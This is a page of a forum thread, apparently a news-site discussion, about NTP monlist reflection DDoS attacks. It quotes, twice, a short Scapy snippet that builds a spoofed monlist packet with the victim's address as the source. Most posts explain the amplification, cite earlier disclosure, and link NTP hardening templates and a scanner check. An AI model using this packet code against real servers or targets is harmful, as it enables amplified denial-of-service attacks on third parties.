> #Magic Packet aka NTP v2 Monlist Packet
> data=str("\x17\x00\x03\x2a") + str("\x00")*4
> packet = IP(dst=ntpserver,src=target)/UDP(sport=48947,dport=123)/Raw(load=data) #BUILD IT
11–20 of 30 posts
> #Magic Packet aka NTP v2 Monlist Packet
> data=str("\x17\x00\x03\x2a") + str("\x00")*4
> packet = IP(dst=ntpserver,src=target)/UDP(sport=48947,dport=123)/Raw(load=data) #BUILD IT
That's a dangerous tool to be releasing this early but hey if you can why not :)
So can a server just close or move NTP ports to survive this and block default ports via firewall?
This allows to send a much bigger DDoS from a less powerful uplink.
The target can't just firewall a port, as it does not rely on NTP being running on the target, but on some other unprotected machines.
https://labs.ripe.net/Members/mirjam/ntp-reflections
templates from the team cymru guys to secure your ntp installations, which have also been around a while.
http://www.team-cymru.org/ReadingRoom/Templates/secure-ntp-t...
hdmoore re-disclosed this back on mar 2 2010. nothing new here. more about this: https://labs.ripe.net/Members/mirjam/ntp-reflections templates from the team cymru guys to secure your ntp installations, which have also been around a while. http://www.team-cymru.org/ReadingRoom/Templates/secure-ntp-t...
So can a server just close or move NTP ports to survive this and block default ports via firewall?
If you're concerned your NTP servers may have the monlist command enabled and therefore be available for attackers to use to mount these reflection attacks there is a Nessus plugin to check for this: http://www.tenable.com/plugins/index.php?view=single&id=7178...